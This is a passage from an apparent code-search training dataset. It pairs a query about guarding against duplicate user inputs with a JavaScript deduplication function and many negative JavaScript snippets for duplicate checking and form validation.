\"0.4670856\",\n \"0.46664122\",\n \"0.46619037\",\n \"0.46610492\",\n \"0.46557167\",\n \"0.46547738\",\n \"0.46544635\",\n \"0.46508488\",\n \"0.46502376\",\n \"0.46471956\",\n \"0.46467066\",\n \"0.464512\",\n \"0.4644591\",\n \"0.46438715\",\n \"0.46402332\",\n \"0.46384144\",\n \"0.46374774\",\n \"0.46294704\",\n \"0.4627889\",\n \"0.46241114\",\n \"0.46236378\"\n]"},"document_score":{"kind":"string","value":"0.7198466"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":11,"cells":{"query":{"kind":"string","value":"this will guard against any duplicates the user inputs"},"document":{"kind":"string","value":"function noDuplicatesinUserGuesses(userGuessesArr) {\n\tvar checkDuplicatesArr = [];\n\tfor (var i = 0; i < userGuessesArr.length; i++) {\n\t\tif (checkDuplicatesArr.indexOf(userGuessesArr[i]) === -1) {\n\t\t\tcheckDuplicatesArr.push(userGuessesArr[i]);\n\t\t}\t\n\t}\n\treturn checkDuplicatesArr;\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function checkIsDuplicatingInputs(numOfInputs) {\n const InputsArr = [];\n for (let i = 1; i <= numOfInputs; i++) {\n InputsArr.push(document.getElementById(`serial-${i}`).value + '-' + document.getElementById(`typeName-${i}`).value);\n }\n return InputsArr.length === new Set(InputsArr).size;\n }","function uniqueInput(input){\n\t\tvar temp = 0;\n\t\tfor(m=0; m < guessedLetters.length; m++) {\n\t\t\tif (guessedLetters[m] === input){\n\t\t\t\ttemp++;\n\t\t\t\t// log(\"Temp count: \" + temp);\n\t\t\t}\n\t\t}\n\t\tif (temp === 0){\n\t\t\tuniqueLetter = true;\n\t\t\t// alert(\"First Time\");\n\t\t\treturn uniqueLetter;\n\t\t\tguessedLetters.push(input);\n\t\t}\n\t\telse if(temp !== 0){\n\t\t\tuniqueLetter = false;\n\t\t\t// alert(\"Please Pick a new letter that you have not used before.\");\n\t\t\treturn uniqueLetter;\n\t\t}\n\t}","function duplicateChecker(input) {\r\n let duplicateSwitch = false;\r\n if (ul.children.length > 0) {\r\n for (let i = 0; i < ul.children.length; i++) {\r\n if (input.value === ul.children[i].children[0].textContent) {\r\n duplicateSwitch = true;\r\n break;\r\n };\r\n }\r\n }\r\n return duplicateSwitch;\r\n }","function checkUserDuplicates(value) {\n if (!userInputsArray.includes(value)) {\n userInputsArray.push(value);\n\n return true;\n }\n\n return false;\n}","function inputIsValid(){\n\tconsole.log(ul.children.length);\n\tif (input.value.length > 0)\n\t{\n\t\tfor (i = 0, len = ul.children.length; i < len; i++) {\t\t\t\n\t\t\t// Notebook \n\t\t\t// ul.children[i] = selected list item (textContent for above example = \"Notebook Delete\", so inspect span tag only)\n\t\t\t// ul.children[i].children[0] = span tag of the selected list item\t\t\t\n\t\t\tvar entry = ul.children[i].children[0].textContent.toLowerCase().trim();\n\t\t if (input.value.toLowerCase().trim() === entry) {\n\t\t \treturn false //don't add duplicate item\n\t\t\t}\n\t\t}\n\t\tconsole.log(\"isValid\");\n\t\treturn true;\n\t}\n\treturn false;\n}","function DuplicateIn() {\n\n var formInvalid = false;\n $('#register_form input').each(function() {\n if ($(this).val() === '') {\n formInvalid = true;\n }\n });\n\n if (formInvalid)\n alert('One or Two fields are empty. Please fill up all fields');\n}","function appendListIfInputValid(input) {\n // info: slice() slices the string and returns it starting from the given index\n // toUpperCase() converts a string to uppercase letters.\n // toLowerCase() converts a string to lowercase letters.\n input = input.charAt(0).toUpperCase() + input.slice(1).toLowerCase();\n\n // appends list array and returns true if no duplicate or empty values else returns false\n if (searchArrayForItem(list, input) == -1 && input != '') {\n list.push([input, 'noCheck']);\n return true;\n } else return false;\n}","function addTokenGuard()\n {\n if(input.val() == '' || input.val() == undefined)\n return true;\n\n // If the value already exists in the list then dont add it\n var dirty = false;\n list.children('li').each(function() {\n if($(this).html() == input.val())\n dirty = true;\n });\n\n return dirty;\n }","function manage_user_input(){\n let input = $(\"#user_input\").val().toUpperCase();\n if(input.length > 0 && !all_user_input.includes(input)){\n $(\"#game_message_p\").attr(\"hidden\",true);\n $(\"#user_input\").val(\"\");\n let isTarget = check_user_input(input);\n store_user_input(input,isTarget);\n } else {\n $(\"#game_message_p\")\n .text(\"Input too short (min length = 1) or you already tried this word.\")\n .attr(\"hidden\",false);\n }\n}","function addTo() { \n//had to parseInt so that player choices were converted to integars to be compared with lottoArray latter - this takes userinput, coverts it to an integar and populates playerArray\n playerChoice = parseInt(document.getElementById(\"userinput\").value);\n //created to manage situations where the player may input a duplicate option (this disallows duplicates in the array)\n if (playerArray.length < 6 && playerArray.indexOf(playerChoice) === -1){\n playerArray.push(playerChoice); \n //highlights with an alert when the player has chosen all 6 numbers\n if(playerArray.length == 6){\n printNumbersPlayer()\n alert(\"you have now chosen your 6 numbers!\");\n }\n\n return false;\n }\n //this else statement posts an alert if a duplicate has been used\n else {\n alert(\"you have used a duplicate, try another number!\");\n return false;\n }\n }","function checkDuplicatePicklistValues(arr) {\n\tvar len=arr.length;\n\tfor (var i=0; i 2) throw new Error('Input must contain only two character types')\n }\n return [[...seen], input]\n}","function add(animals, animal) {\n// takes an array of animals and an object representing a new animal\n // checks that the param animal Object has a name prop with a length > 0 && species prop with a length > 0\n // checks that the new animal has a UNIQUE name that doesn't already exist in the animals array\n \n // if user types something into the fields\n if (animal.name.length > 0 && animal.species.length > 0) {\n // loop to check to see if the name exists \n for (let i = 0; i < animals.length; i++) {\n if (animal.name === animals[i].name) {\n console.log (\"that animal exists\");\n return;\n } \n }\n animals.push(animal);\n }\n}","checkUserInput() {\r\n const {\r\n drugId1, drugId2, sample, dataset,\r\n } = this.state;\r\n return drugId1 !== 'Any' || sample !== 'Any' || dataset !== 'Any' || drugId2 !== 'Any';\r\n }","function isDuplicateEntry(wslId) {\r\n\t//alert(\"wslField = \" + wslField);\r\n\tvar wslIdList = getMainView().forms[0].elements[wslField];\r\n\t//alert(\"wslIdList = \" + wslIdList);\r\n\tvar duplicate = false;\r\n\t//alert(\"!wslIdList = \" + (!wslIdList));\r\n\tif(!wslIdList) return false;\r\n\t\r\n\t//alert(\"wslIdList.length = \" + wslIdList.length);\r\n\tif(wslIdList.length) {\r\n\t\t// there are more than one entry\r\n\t\tfor(var z=0; z 1) return true\n }\n return false;\n}","function removeDuplicates (input) {\n\t\t\tlet result = input.filter(function(item, pos) {\n\t\t\t\treturn input.indexOf(item) == pos;\n\t\t\t});\n\t\t\treturn result\n\t\t}","function areThereDuplicates2() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n }","function findDuplicate() {\n\n var modelsArray = [$scope.data.first, $scope.data.second, $scope.data.third, $scope.data.fourth];\n var filteringModelsArray = _.uniq(modelsArray);\n\n return filteringModelsArray.length === modelsArray.length;\n }","function checkForDuplicates()\r\n\t{\r\n\tfor (i=0; i < activeClippings.length; i++)\r\n\t\t{\r\n\t\tif (newClipping == activeClippings[i].id) {i = allClippings.length; duplicate = true;}\r\n\t\t}\r\n\t}","function checkInput(guess) {\n\t\tfor (var i = 1; i <= 4; i++) {\n\t\t\tvar inputnow = \"input\" + i;\n\t\t\t//console.log(inputnow);\n\t\t\tvar newNum = parseInt(document.getElementById(inputnow).value);\n\t\t\tconsole.log(newNum);\n\t\t\tif (isValid(newNum)) {\n\t\t\t\t\n\t\t\t\tif (checkNum(newNum, guess)) {\n\t\t\t\t\t// Good to go. \n\t\t\t\t} else {\n\t\t\t\t\tdocument.getElementById(\"message\").innerHTML = \"\" + newNum + \"Is a duplicate number. Fix it
\";\n\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t} else {\n\t\t\t\t\n\t\t\t\tdocument.getElementById(\"message\").innerHTML = \"Hey, you forgot to enter a number. You might do that before I just decide to keep your money and tell you to go away
\";\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t}\n\t}","function isDuplicate(name,phone,twitter){\n\tvar isduplicate=false; \n\t\tfor(var i=0;i 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function areThereDuplicates() {\n let collection = {}\n for(let val in arguments){\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1\n }\n for(let key in collection){\n if(collection[key] > 1) return true\n }\n return false;\n}","function handleSaveUrl() {\n inputValue = input.value;\n let checkUrl = arrWithUrl.includes(inputValue);\n if(checkUrl) {\n showModal();\n modalContent.textContent = \"You have already saved this url\"; \n } else {\n arrWithUrl.push(inputValue);\n setLocalStorage(arrWithUrl);\n createUrlItem(inputValue);\n }\n form.reset();\n}","function validateNamesUnique() {\n var i = 0;\n while (vm.paramsForm.hasOwnProperty('name_' + i)){\n var modelValue = vm.paramsForm['name_' + i].$modelValue;\n vm.paramsForm['name_' + i].$setValidity(\n 'unique',\n vm.parametersList.isNameUnique(modelValue)\n );\n i++;\n }\n }","function areThereDuplicates() {\n // console.log(arguments)\n let counter = {};\n for (let i=0; i< arguments.length; i++){\n // counter[arguments[i]] = ++counter[arguments[i]] || 1;\n if (counter[arguments[i]]) return true;\n counter[arguments[i]] = 1;\n // console.log(counter)\n\n }\n return false;\n}","function checkDuplicatedNames() {\n\n for(var i = 0; i < productTable.length; i++)\n {\n if(productName.value == productTable[i].name) \n {\n productName.classList.add(\"is-invalid\");\n productName.classList.remove(\"is-valid\");\n\n PNameAlert.classList.add(\"d-block\");\n PNameAlert.classList.remove(\"d-none\");\n\n PNameAlert.innerHTML = \"Product Name Already Exists\";\n\n addBtn.disabled = true;\n } \n }\n}","function insertNum(){\r\n var win = true;\r\n for (var i = 0; i < numbers.length; i++) {\r\n userList[i] = Number(prompt(\"Inserisci il \"+ (i+1) +\"° numero\"));\r\n if (userList[i] === numbers[i]) {\r\n win *= true;\r\n }\r\n else{\r\n win = false;\r\n }\r\n }\r\n return win;\r\n}","function getValue(input){\n //if our dot array operators2 includes(includes basically check a value)..if value u r checking is within operators2, it will return true, if not, it will return false..last value=inputs.length-1\n if(operators2.includes(inputs[inputs.length-1]===true && input===\".\")){\n console.log(\"Duplicat '.' \");\n }\n //if very first number is exactly = 1\n else if(inputs.length===1 && operators1.includes(input)===false){\n //add value to inputs array..inputs=array..input=this.id that we will be adding..so basically is checking if it is a number\n inputs.push(input); \n }\n //if last thing was not an operator, go ahead and add that input to the array\n //if last character was not an operator, add operator to the array\n else if(operators1.includes(inputs[inputs.length-1])===false){\n inputs.push(input);\n }\n //check to add a number..convert string to number\n //if input includes,of how we r getting id, convert string to number..if it includes that input..if that is true..\n else if(nums.includes(Number(input))){\n //push input to end of array?\n inputs.push(input);\n }\n //update function will update value at end of our list\n update();\n }","function findDuplicateCharacters(input) {\n}","inNoOfShare() {\n var flag = true;\n var Noofshares = read.question(\"Enter how many shares you have \");\n while (flag) {\n\n if (!isNaN(Noofshares)) {//for validate full name\n flag = false;\n } else {\n var Noofshares = read.question(\"Wrong input !!!...Please enter No of shares in integer \");\n }\n }\n return Noofshares;\n }","function hasElementsWithUniqueNames() {\n let duplicates = findDuplicates(inputsSelectsTextareas, 'name', 'formAncestorID')\n // Radio buttons have duplicate names.\n .filter(field => field.type !== 'radio');\n let problemFields = duplicates.map(field => stringifyElement(field));\n // Deduplicate items with same tagName and id.\n problemFields = [...new Set(problemFields)];\n if (problemFields.length) {\n const item = {\n // description: 'Autocomplete values must be valid.',\n details: 'Found fields in the same form with duplicate name attributes:
• ' +\n `${problemFields.join('
• ')}`,\n learnMore: 'Learn more: The input element name attribute',\n title: 'Fields in the same form must have unique name values.',\n type: 'error',\n };\n items.push(item);\n }\n}","function validateInput(){\n\tvar api_key_input = $('#api-key-input');\n\tvar search_input = $('#summoner-name-input');\n \tif (!isEmpty(search_input) && !isEmpty(api_key_input)){\n\t\tvar selected = getSelectedOption();\n\t\t//alert(empty_checker + ' | ' + selected);\n\t\tif (selected == 'summary'){\n\t\t\tsearchSummonerStatsSummary();\n\t\t} else {\n\t\t\tsearchSummonerStatsRanked();\n\t\t}\n\t}\n}","function areThereDuplicates() {\n if (arguments.length < 2) return false;\n const counter = {};\n for (let i = 0; i < arguments.length; i++) {\n if (counter[arguments[i]]) {\n return true;\n } else {\n counter[arguments[i]] = 1;\n }\n }\n return false;\n}","function userInput(){ \n everythingOk = false; \n while(everythingOk === false){\n // answer = inputLength(); \n upCaseRslt = upCase();\n lcase = lowCase(); \n numAnsr = numOpt();\n symbolAnswer = simbl(); \n if(upCaseRslt === false && lcase === false && numAnsr === false && symbolAnswer === false){\n alert(\"at least one option must be checked in order to create password\"); \n }else{ \n everythingOk = true; \n } \n } \n }","function oneOfEach(sentence) {\n let unique = [];\n sentence = sentence.split('');\n for(let i = 0; i < sentence.length; i++) {\n if(!unique.includes(sentence[i])) {\n unique.push(sentence[i]);\n }\n }\n let newSentence = unique.join('');\n return $('').text('No duplicates: ' + newSentence).appendTo('#outputs');\n}","function clickedScore() {\n if (playerInitals.includes(nameSubmit.value)) {\n alert(\"That inital already exist\");\n } else if (\n nameSubmit.value === \"\" ||\n nameSubmit.value === null ||\n nameSubmit.value === undefined\n ) {\n alert(\"Please enter valid initals\");\n } else {\n playerInitals.push(nameSubmit.value);\n playerScores.push(score);\n setLS();\n matchHS();\n viewHS();\n }\n}","handleSubmit(event) {\n event.preventDefault();\n let symbol = event.target[0].value.trim();\n if (symbol === '') {\n alert('The input box was empty.');\n } else if (this.state.stockSymbols.includes(symbol.toUpperCase())) {\n alert('This stock symbol has already been entered.');\n } else if (!this.state.validSymbols.includes(symbol.toUpperCase())) {\n alert('That isn\\'t a valid stock symbol.');\n } else {\n let newSymbols = this.state.stockSymbols.slice();\n newSymbols.push(symbol.toUpperCase());\n this.setState({stockSymbols: newSymbols});\n }\n }","function duplicateCheck() {\n if(duplicateInput.checked) {\n if (lengthInput.value.trim() <= 10) {\n return(true)\n }\n else {\n dupErrorString.textContent = \"You can only remove duplicates for a password of 10 or fewer characters\"\n return(false)\n }\n }\n else {\n return(true)\n }\n}","addSong(selectedSong){\r\n let newItem = this.userBand + \" - \" + selectedSong;\r\n //prevents adding of duplicate songs\r\n this.userSetlist.indexOf(newItem) === -1 ? this.userSetlist.push(newItem) : console.log(\"This song is already in the list\");\r\n }","function readInput() {\n clear(\"comparingDiv\")\n\n input1 = document.getElementById(\"searchbox1\").value;\n input2 = document.getElementById(\"searchbox2\").value;\n\n var list = educationInterface.getIDs();\n\n if (!list.includes(input1) || !list.includes(input2)) \n comparingDiv.appendChild(document.createTextNode(\"Invalid input. Please check that both field contain valid ids.\"));\n else \n createComparisionTables(input1.toString(), input2.toString());\n\n return false;\n}","inStockName() {\n var name = read.question(\"Enter the name of stock \");\n var flag = true;\n while (flag) {//for validating inputs\n\n if (isNaN(name)) {//for validate the name \n flag = false;\n } else {\n var name = read.question(\"Wrong input !!!...Please enter correct name of Stack \");\n }\n }\n return name;\n }","function duplicateChars(letter) {\n if (correctGuesses.includes(letter) || wrongGuesses.includes(letter)) {\n warning = \"YOU ALREADY GUESSED THAT LETTER!\";\n warningElement.innerHTML = warning;\n }\n}","function duplicateFinder(word, inputValueArr, currentKey) {\n console.log(\"word, inputValueArr, currentKey\", word, inputValueArr, currentKey);\n\n for (let i = 0; i < inputValueArr.length; i++) {\n //exclude checking the current index while finding duplicates.\n //This is done because the current index is where the {word} is saved. So we should check only with other objects in array.\n if (currentKey != i && word === inputValueArr[i]) {\n return true;\n }\n\n }\n return false;\n}","function checkInput() {\n if (attempts > 0) {\n let counter = 0;\n\n for (let toValidate of domList.children) {\n let li = toValidate;\n let wordChar = li.getAttribute(\"data-char\").toLowerCase();\n let pChar = toValidate.querySelector(\"p\");\n\n if (wordChar === inputChar) {\n counter = counter + 1;\n pChar.classList.remove(\"hidden\");\n }\n }\n let check = wrongKeys.includes(inputChar);\n\n if (counter === 0 && check === false) {\n wrongKeys.push(inputChar);\n displayWrongKeys();\n }\n }\n countWrongAttempts();\n}","addEntry() {\n let candidateName = this.state.newEntryName\n let temp = this.state.pieData\n let newId = this.generateId()\n\n //Avoiding empty labels\n if(candidateName === ''){\n alert(\"Please insert an entry name\")\n } \n else{\n\n //Ensuring that the label is unique by going through all labels in pie data..\n for(var i = 0; i < temp.length; i++){\n\n //If not unique, the user is asked to enter a new entry, and the input box is reset. \n if(temp[i].label === candidateName){\n alert(\"This entry already exists. Please enter a unique entry name.\");\n document.getElementById('newEntry').value = '';\n return\n }\n }\n\n //If there are no errors, the entry object is pushed into pieData.\n temp.push({id: newId, label: candidateName, value: '0', votes: 0});\n this.setState({\n pieData: temp,\n newEntryName: ''\n })\n //Reset the data from the input\n document.getElementById('newEntry').value = '';\n }\n }","function combinedArray() {\n var userName = prompt(\"Please enter a name\", \"Enter name here\");\n var nameSearch = allNames.lastIndexOf(userName);\n if (nameSearch > 0) {\n alert(\"Your name is in the array\")\n }\n else {\n alert(\"Your name is NOT in the array\")\n }\n}","function areThereDuplicates() {\n let freqCounter = {};\n for(let i = 0; i < arguments.length; i++){\n if(freqCounter[arguments[i]]){\n return true;\n } else {\n freqCounter[arguments[i]] = true;\n }\n }\n return false;\n}","function validateUnique(threeArray){\n for(var i = 0; i < threeArray.length; i ++){\n for(var v = 0; v < lastItemsSeen.length; v++){\n if(threeArray[i].product === lastItemsSeen[v].product){\n \n return false;\n \n }\n }\n return true;\n }\n}","function userInput() {\n checkedUpper = window.confirm('Do you want Upper Case Letters?');\n checkedLower = window.confirm('Do you want Lower Case Letters?');\n checkedNumbers = window.confirm('Do you want Numbers?');\n checkedSpecial = window.confirm('Do you want Special Characters?');\n if (!checkedUpper && !checkedLower && !checkedNumbers && !checkedSpecial) {\n alert(\"Must choose at least one\");\n userInput();\n }\n}","function areThereDuplicates() {\n let collection = {};\n for (let val in arguments) {\n collection[arguments[val]] = (collection[arguments[val]] || 0) + 1;\n }\n for (let key in collection) {\n if (collection[key] > 1) return true;\n }\n return false;\n}","function checkUserInput(){\n\t\t//check if title name is inputted\n\t\tif (!$(element).find('input[id=edit_title_name]').val()){\n\t\t\talert (\"Please input the test's title name\");\t\t\n\t\t\treturn false;\n\t\t}\n\t\t//check if test type is selected\n\t\tif (!$('#edit_test_type').val()){\n\t\t\talert (\"Please choose the test type\");\t\t\n\t\t\treturn false;\n\t\t}\n\t\t//check if total question number is inputted correctly\n\t\tif ( isNaN($(element).find('input[id=edit_total_question]').val()) || !isPositiveInteger($(element).find('input[id=edit_total_question]').val()) ){\n\t\t\talert (\"Please input correct number in total main question number\");\t\t\n\t\t\treturn false;\n\t\t}\n\t\t//check in each question set...\n\t\tnGroups = $(element).find('input[id=edit_total_question]').val();\n\t\tfor (var i=1;i<=nGroups;i++){\n\t\t\t//check if sub question number is inputted correctly\n\t\t\tif (isNaN($(element).find('input[id=edit_total_sub_question_' + i + ']').val()) || !isPositiveInteger($(element).find('input[id=edit_total_sub_question_' + i + ']').val()) ){\n\t\t\t\talert (\"Please input correct number in total sub question number for Q\" + i);\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t//check in each question...\n\t\t\tvar total_sub_question = $(element).find('input[id=edit_total_sub_question_' + i + ']').val();\n\t\t\tfor (var j=1;j<=total_sub_question;j++){\n\t\t\t\t//check question content or picture is inputted\n\t\t\t\tif (!$(element).find('input[name=question' + i + '\\\\.'+ j + ']').val() && !$(element).find('input[name=question' + i + '\\\\.'+ j + '_pic]').val()){\n\t\t\t\t\talert (\"Please input a question content or picture on Q\" + i + \".\" + j);\n\t\t\t\t\treturn false;\t\t\t\t\n\t\t\t\t}\n\t\t\t\t//check learning object link and name are inputted.\n\t\t\t\tif (!$(element).find('input[name=lo' + i + '\\\\.' + j + '_link]').val() && $(element).find('input[name=lo' + i + '\\\\.' + j + '_link]').length > 0){\n\t\t\t\t\tif (j==1) {}\n\t\t\t\t\telse {\n\t\t\t\t\t\talert (\"Please input learning object link for Q\" + i + '.' + j);\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (!$(element).find('input[name=lo' + i + '\\\\.' + j + '_name]').val() && $(element).find('input[name=lo' + i + '\\\\.' + j + '_name]').length > 0){\n\t\t\t\t\tif (j==1) {}\n\t\t\t\t\telse {\n\t\t\t\t\t\talert (\"Please input learning object name for Q\" + i + '.' + j);\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t//variable to check for checkbox (correct answer)\n\t\t\t\tvar isChecked = false;\t\n\t\t\t\t//check for each answer...\n\t\t\t\tfor (var k=1;k<=4;k++){\n\t\t\t\t\t//check answer content is inputted\n\t\t\t\t\tif (!$(element).find('input[name=answer' + i + '\\\\.'+ j + '_'+ k + ']').val()){\n\t\t\t\t\t\talert (\"Please input an answer for Q\" + i + \".\" + j);\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t\t//check if one of checkboxes is selected \n\t\t\t\t\tif ( $(element).find('input[id=answer' + i + '\\\\.'+ j + '_'+ k + '_cb]').is(':checked')){\n\t\t\t\t\t\tisChecked = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t//if no checkbox is selected\n\t\t\t\tif (!isChecked){\n\t\t\t\t\talert (\"Please select one correct answer in Q\" + i + \".\" + j);\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\t\t\n }\n\t\treturn true;\n\t}","function checkInput(){\n if(isNaN(userGuess)) {\n alert(\"Please enter a number from 1 - 100!\");\n } else if(userGuess === \" \") {\n alert(\"Well, you have to input a number\");\n } else if (userGuess < 0 || userGuess > 100) {\n alert(\"Plese enter a number from 1 - 100!\");\n } else {\n comparisonAmount();\n console.log(\"User guess = \" + userGuess);\n $('#userGuess').val('');\n guessCount++;\n setCount(guessCount);\n $('ul#guessList').append(\" \" + userGuess + \" \");\n }\n}","checkIfUnique(name, value, signal) {\n if (name === 'password' || name === 'confirmPassword') return;\n return this.getAll(signal)\n .then(users => {\n return users.find(user => user[name] === value)\n })\n .then(user => {\n let message = '';\n if (user !== undefined){\n message = `This ${name} has already been used.`; \n } \n return this.setError(name, message); \n });\n }","function checkDuplicate()\n {\n var found = false;\n for (var i = 0; i < $scope.list.length; i++)\n {\n if ($scope.list[i].item == $scope.item)\n {\n found = true;\n }\n }\n return found;\n }","function areThereDuplicates() {\n let args = [...arguments];\n const argsList = {}\n for(let i = 0; i< args.length; i++){\n let currentArg = args[i];\n argsList[currentArg] ? argsList[currentArg] += 1: argsList[currentArg] = 1\n }\n for (let two in argsList) {\n if (argsList[two] > 1) {\n return true;\n }\n }\n return false;\n}","handleSubmit(e) {\n e.preventDefault();\n let firstValue, secondValue;\n const [firstInput, secondInput] = e.target.elements;\n firstValue = firstInput.value.trim().split(' ').join('');\n secondValue = secondInput.value.trim().split(' ').join('');\n\n this.checkValues(firstValue,secondValue);\n\n firstInput.value = '' ;\n secondInput.value = '' ;\n firstInput.focus();\n\n }","function checkEntry() {\n while (typeof sticksToRemove !== \"number\" ||\n Math.trunc(sticksToRemove) !== sticksToRemove ||\n sticksToRemove < 1 ||\n sticksToRemove > Math.min(3, stickCount)) {\n sticksToRemove = parseInt(prompt(\"Invalid entry. \" + players[0] + \", how many sticks do you want to remove? (1-3)\"));\n }\n}","function checkDupe(data,x){\n\n if(idArray.includes(data[x][0])){\n return false;\n } else { return true; }\n\n}","function areThereDuplicatesBonus(...args) {\n args.sort();\n let j = 1;\n let i = 0;\n while(j !== args.length){\n if(args[j] !== args[i]){\n i++;\n j++;\n } else {\n return true;\n }\n }\n return false;\n}","function areThereDuplicates() {\n return new Set(arguments).size !== arguments.length;\n }","function areThereDuplicates() {\n return new Set(arguments).size !== arguments.length;\n }","function validateSkillSelections(){\n // if there are errors clear them here, we'll replace them if they aren't fixed\n $('.skills_section .validation_error').remove();\n var $skills = $(\".skill_selector\");\n var result = true;\n console.log(`Starting skill validation. Result: ${result}`);\n for(let j = 0; j < $skills.length; j++){\n for(let i = $skills.length - 1; i > j; i--){\n if( $($skills[j]).val() === $($skills[i]).val()){\n // Two skills are the same, fire an error message\n console.log(\"two skills are the same!!!!\");\n result = false;\n let skillType = $skills[j].id.slice(0, $skills[j].id.lastIndexOf(\"_\"));\n if ($(`.skills_section .${skillType}_error`).length < 1){\n insertValidationError(`.${skillType}_list`, skillType, \"You cannot choose the same skill more than once\"); \n }\n }\n }\n }\n console.log(`Ending skill validation. Result: ${result}`);\n return result;\n }","function checkGuess () {\n var isItRepeated = $guessed.includes($guess);\n if (isItRepeated === true) {\n alreadyGuessed = true;\n } else {\n alreadyGuessed = false;\n }\n }","addStudent(newStudent) {\n let foundDuplicates = studentsFullList.filter(student => {\n return student.name.includes(newStudent.name) == true || student.email.includes(newStudent.email) == true\n });\n if (foundDuplicates.length > 0) {\n console.log(`Student already added`);\n } else {\n studentsFullList.push(newStudent);\n }\n return {\n newStudent,\n studentsFullList\n }\n }","function isValid(guess) {\n return !hasDuplicates(guess)\n}","function validateUsers(e) {\n let username = e.target.name.value;\n let pin = e.target.pin.value;\n console.log(username, pin);\n let x = sortedUsers.find((user) => user.username === username);\n if (x != undefined) {\n x.pin === pin ? exitSignIn(x) : alert(\"incorrect password\");\n } else {\n console.log(\"at else Existing User\");\n alert(\"invalid input, try again\");\n }\n }","function theGuess(userInput) {\n //if the user guessed correctly....\n if (userInput === theLetter) {\n winCounter++;\n lettersGuessed.length = 0;\n guessesRemaining = 8;\n newLetter();\n printWin();\n printLetters();\n printGuesses();\n winCheck();\n //if the user guessed incorrectly and that letter has not already been guessed....\n } else if (lettersGuessed.includes(userInput) === false) {\n console.log(`User entered ${userInput}`);\n lettersGuessed.push(userInput);\n guessesRemaining--;\n printGuesses();\n printLetters();\n }\n gameCheck();\n}","function checkInputField(event) {\n if (event.keyCode == 13 && players.length < maxPlayerNumber) {\n AddPlayer();\n }\n}","function validActivityInput(){\n let activity = [];\n const activityError = \"At least one activity must be selected
\";\n $('.activities label input').each((index, element) => {\n activity.push(element.checked);\n })\n if (activity.indexOf(true) === -1 && $('.activityWarning').length === 0){\n $('.activities').after(activityError);\n }\n if (activity.indexOf(true) !== -1 && $('.activityWarning').length > 0){\n $('.activityWarning').remove();\n }\n}","function checkInput(name,key)\n{\n if (name.match(/^\\s*$/)) //checks that roomane is not empty/contain only whitespace\n {\n window.alert(\"Room Name Can't Be Empty\");\n return false;\n }\n else if (key.match(/^\\s*$/)) //check that room key is not empty/contain only whitespace\n {\n window.alert(\"Room Key Can't Be Empty\");\n return false;\n }\n else\n {\n return true;\n }\n}","function playersGuessSubmission() {\n playersGuess = $(\"#guessInput\").val();\n \n $(\"#yourGuess\").text(\"Your guess was \" + playersGuess + \".\");\n \n \t$(\"#guessInput\").val(\"\").focus();\n if (checkGuess()==false){\n $(\"#compare\").text(lowerOrHigher());\n if (guessHistory.indexOf(playersGuess)!== -1){\n \t\t$(\"#yourGuess\").append(\" You've tried that before!\"); \t\t \n \t\t}\n \t}\n \tguessHistory.push(playersGuess);\n \t\n}","function uniqueValues(value) {\n if (arr1.includes(value) && arr2.includes(value)) {\n console.log(\"dupe\") \n } else {\n return value;\n }\n }","validateAnItem(item) {\n let errors = [];\n if (_.find(this.state.items, {sequenceName: item.sequenceName})) {\n errors.push(\"There's already a sequence with this name\");\n }\n if (_.find(this.state.items, {sequence: item.sequence})) {\n errors.push(\"There's already another entry for this sequence\");\n }\n if (item.sequenceName === \"\") {\n errors.push(\"Name is required\");\n }\n if (item.sequenceDescription === \"\") {\n errors.push(\"Description is required\");\n }\n if (item.sequence === \"\") {\n errors.push(\"Sequence is required\");\n } \n // We only need the first occurance of a non-allowed letter, so .search makes sense here\n let nonDNA = item[\"sequence\"].search(/[^ATCG]/g);\n if (nonDNA !== -1) {\n errors.push(`Non-DNA character found at position ${nonDNA}`);\n }\n return errors;\n }","function duplicateInputFieldMessage(fieldName) {\n return \"There can be only one input field named \\\"\".concat(fieldName, \"\\\".\");\n}","checkDupe() {\n let occurrences = this.props.occurrences;\n let habit = this.state.currentHabit;\n let time = JSON.parse(JSON.stringify(this.state.habitTime));\n let quantity = this.state.quantity;\n let found = false;\n\n occurrences.forEach(item => {\n if (item.timestamp.slice(0, 10) === time.slice(0, 10)) {\n found = true;\n }\n });\n\n if (found) {\n alert('Please make any updates to existing logs by updating your table');\n } else {\n this.props.logHabit(habit, time, quantity);\n }\n }","function checkIndivDupe() {\n var firstInstance = true;\n var dupeCount = 0;\n \n var validUserRows = validUserSheet.getLastRow() + 1;\n for (var row = 1; row < validUserRows; row++) {\n if (validUserSheet.getRange(row, 6).getValue() == userEmail) {\n if (firstInstance) {\n isIndivDupe = true;\n //get original batch ID\n origBatchId = validUserSheet.getRange(row, 2).getValue();\n origUID = validUserSheet.getRange(row, 